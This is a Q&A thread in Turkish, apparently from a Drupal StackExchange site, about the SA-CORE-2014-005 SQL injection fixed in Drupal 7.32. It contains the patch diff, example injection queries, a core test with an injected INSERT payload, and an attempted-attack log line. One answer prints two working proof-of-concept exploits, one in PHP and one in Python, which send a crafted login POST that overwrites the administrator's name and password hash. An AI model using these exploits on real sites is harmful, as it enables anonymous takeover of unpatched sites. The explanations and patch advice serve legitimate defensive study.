SA-CORE-2014-005 (Drupal 7.32) için düzeltme eki ne tür saldırılar önler?


33

Üzerinde okuma https://www.drupal.org/node/2357241 ve teknik detaylar https://www.drupal.org/SA-CORE-2014-005 basitçe gerçek yama yanı sıra:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Bu istismardan yararlanan ne tür bir talep yapılabilir merak ediyorum?



Değişimi doğrudan çekirdekte yapabilir miyiz? database.incdosya ?
Hitesh

@hitesh, sadece database.incyukarıdaki yamadan yama yapabilir (ya da elle, bu açık bir şekilde küçük bir değişikliktir) ama aynı zamanda, çekirdek Drupal'ı baştan aşağıya eklemenizi tavsiye ederim.
Charlie Schliesser,

1
Hangi isteklerin hatadan faydalanacağını merak etmeyenler için, ancak hatanın gerçekte ne olduğunu merak edenlere , Programmers.SE'ye bir açıklama gönderdim .
RomanSt

Yükseltmeden sonra bile birisi sitelerime .php dosyalarını yerleştirebiliyor. Menu_router da kontrol ettim - şüpheli bir şey yok. Sitede denetim ve drupalgetaddon da çalıştırıyorum
AgA

Yanıtlar:


18

Hatayı bulan şirketin , Danışma Bürosu 01/2014'te bazı örnekleri var : Drupal - Ön Yetki Öncesi SQL Enjeksiyon Güvenlik Açığı :

Ayıkla:

İşlev, anahtarsız bir dizi ile çağrıldığını varsayar. Örnek:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Bu SQL Bildirimi'nde hangi sonuçlarla sonuçlanır?

SELECT * from users where name IN (:name_0, :name_1)

parametrelerle name_0 = user1ve name_1 = user2.

Dizi, tamsayı olmayan anahtarlara sahipse, sorun oluşur. Örnek:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

Bu sömürülebilir bir SQL sorgusu ile sonuçlanır:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

parametrelerle: name_test = user2.

Drupal PDO kullandığından, çoklu sorgulara izin verilir. Bu yüzden bu SQL Enjeksiyonu, veritabanına rasgele veri eklemek, mevcut verileri dökmek veya değiştirmek ya da tüm veritabanını bırakmak için kullanılabilir.

Veritabanına keyfi veri INSERT imkanı ile bir saldırgan Drupal özellikleri üzerinden geri aramalar ile herhangi bir PHP kodunu çalıştırabilir.


Paylaşım için teşekkürler, bu konuyla ilgili arama bulamadım. The Problem occurs, if the array has keys, which are no integers- bu ve örnek sorgu, bunu anlamada oldukça faydalıdır.
Charlie Schliesser

19

7.32 ile neler oluyor Test modülünü kontrol ederek. Aşağıdaki testin 7.32'ye eklendiğini görebilirsiniz;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Bu, bir saldırının nasıl gerçekleştirileceği konusunda daha fazla fikir vermelidir.

Konseptin Kanıtı Yeterince fazlası geçti ve doğada bol miktarda PoC var.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

İşte iyi bir arıza yapan bir blog: http://www.volexity.com/blog/?p=83


Bu POC çalışmıyor ....
Kyle Browning

Bir hacker'ın $ veriyi database.inc'de array_values ​​($ data) ile değiştirebileceği bir POC gönderebilir misiniz?
Hans Rossel

Bunun bir vanilya Drupal sitesiyle çalıştığını onaylayabilirim. Bu talihsizlik ...
AyeshK

@Greggles'in bunun biraz erken olduğunu söylediği gibi, henüz her biri notu almadı. Lütfen kısıtla.
pal4life

Soru - Bu saldırının gerçekleşmesi için "? Q =" gerekli midir? sunucum q (veya Q veya% -kodlu eşdeğerleri) alma arg'uyla istekleri bırakıyor. Sadece merak. Bir süre önce yamalıyoruz ve izinsiz giriş belirtileri görmüyorduk, ama q = isteklerini reddederek şanssız olup olmadığımızı merak ediyorum.
Kasapo

16

Böceği bulan araştırmacıların bir konsept kanıtı var. Diğerleri de kavramın kanıtlarını geliştirmiştir. Ancak, yaygın olarak yararlanılma olasılığını azaltmaya çalışmak için onları bilinçli olarak göndermiyorlar. Bu araştırmaya ve kısıtlamaya saygı duymalı ve burada örnekler göndermemeliyiz.

Bir süre geçtikten ve siteler yükseltildikten sonra, kavram açısından kanıt saldırı kodunu incelemek akademik açıdan çok ilginç olacaktır. O zamana kadar, bu gereksiz bir risk ve dikkat çekmek için kapmak.

SektioinEins danışmanlığındaki kod tam olarak nasıl yararlanılacağına dair tam gelişmiş bir örnek değildir. Zayıflığı detaylandırıyorlar, ancak konuyu gerçekten nasıl kullanacaklarını tam olarak tanımlamıyorlar.


Sorun serbest bırakıldı ve SektionEins birkaç kanıtınızı kavramları gönderdi beri şimdi birkaç hafta oldu bloglarında . Bunlar, etkinliklerinin çok az izini bıraktıkları için geliştirilen diğer kavram kanıtları ile karşılaştırıldığında oldukça ilginçtir (örn. Menu_router tablosunda hiçbir şey yoktur).


4

Bu güvenlik açığının hangi Drupal 7.31 ve daha düşük sitelerde çalışacağını, hangi modüllerin aktif olduğunu farketmeden doğrulayabilirim. Her drupal form bu güvenlik açığından yararlanmak için kullanılabilir.

Exploit oldukça basittir, PoC zaten vahşi doğadadır. Temiz Drupal kurulumunda kendi sunucularına saldırabildim ve kullanıcı şifrelerini anonim bir kullanıcı olarak değiştirebildim, ancak olasılıklar sonsuz.

Bu hata neredeyse 1 yıl önce https://www.drupal.org/node/2146839 aracılığıyla biliniyordu, ancak Drupal Core Security Team'den kimse yanıt vermedi.


Güvenlik sorunu olarak bildirilmedi, değil mi?
Alfred Armstrong

“#Security”, “büyük” önceliği, “gözden geçirme ihtiyaçları” statüsü ile etiketlendi ve yamanın 7.32'deki temelini gerçekleştiren bir yama ekledi. Belki de #"güvenlik" in önünde birisinin onu başka türlü olacağını görmekle sınırlandırması ya da belki de sıradaki çok fazla sorun var. Hala kimsenin buna cevap vermemesi şaşırtıcı.
Charlie Schliesser

3
Bir güvenlik sorunu olarak bildirilmedi, bu nedenle muhtemelen güvenlik ekibi görmedi. Ama evet, adam bir güvenlik sorunu olduğundan emin değildi, bu yüzden muhtemelen bu.
Berend de Boer,

2
Bir hata bile değil, bir "Özellik isteği" olarak rapor edildi. Drupal çekirdeğinin kararlı sürümünde yeni özellikler kabul edilmez, bu yüzden bakılmaması normaldir. Güvenlik sorunları hiçbir zaman kamuya açık olarak gönderilmemelidir, Drupal güvenlik sorunlarının Güvenlik Ekibine nasıl bildirileceği konusunda net bir sayfa vardır: drupal.org/düğüm 101494
Hans Rossel

4

Bunun nasıl sömürülebileceğini ve ne kadar zaman ve çaba harcayacağını merak ettim. Bu yüzden localhost'a eski Drupal 7 sürümünü kurmaya karar verdim ve bu hatayı tersine çevirdim. Keşfettiğim şey, HTML / SQL hakkında temel bilgileri olan herkese Drupal sitenize tam erişim sağlayan şok edici bir hataydı.

Ben 30 dakikadan az bir sürede anonim bir kullanıcı kullanarak Drupal 7 içine SQL enjeksiyon yürütmeyi başardı!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

NOT: Drupal, SHA512'yi tuzla kullandığı için giriş yapmanıza izin vermez, bu nedenle giriş yapmak mümkün değildir. Kasıtlı olarak kodu buraya koymamıştım, ama belli ki biraz Drupal bilgisi olan herkes bunun üstesinden nasıl geleceğini bilecek ve size tam erişim sağlayacak bir sorgu oluşturacak!

Bu, Drupal'ın ne kadar güvenli olduğu ve böyle bir şeyden kimin sorumlu olduğu ile ilgili bir soruyu açar. Görünüşe göre bu hata bir yıldan fazla bir süredir biliniyordu ( https://www.drupal.org/node/2146839 ), ancak Drupal.org'da kimse tepki vermedi. Yanlışlıkla veya kasten mi? :)


1

Kötü amaçlı SQL ifadelerinin yürütmek üzere bir giriş alanına eklendiği ve örneğin veritabanı içeriğinin serbest bırakılmasına yol açabilecek bir SQL ekleme güvenlik açığı düzeltmesidir. Bu düzeltmeyi en kısa zamanda, özellikle de bu güvenlik açığından adsız kullanıcılar tarafından yararlanabileceği için uygulamak önemlidir.

Hemen güncelleyemezseniz, güvenlik ekibine sahipseniz , tam yükseltmeyi gerçekleştirene kadar aynı korumayı sağlayacak olan yamayı uygulayabilirsiniz 1 . Ayrıca güvenlik ekibi bu konuyla ilgili bazı SSS hazırladı . Sitenizi bakım moduna geçirmek işe yaramaz ve lütfen güncellemeyi uyguladıktan sonra önbelleği temizleyin veya 7.32 kullandığınızdan emin olun.

Ayrıca, sitenizin tehlikeye atılmadığını kontrol etmelisiniz. Sorun bildiren bazı siteler var. İşte Drupal 7.32 Güncellemesi yeterli değil, sitenizi zaten saldırıya uğramış olabilir.

Düzeltmeyi 15 Ekim’de uyguladım ve sitelerim bu güvenlik açığından yararlanmaya çalışan birisini zaten bildirdi

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.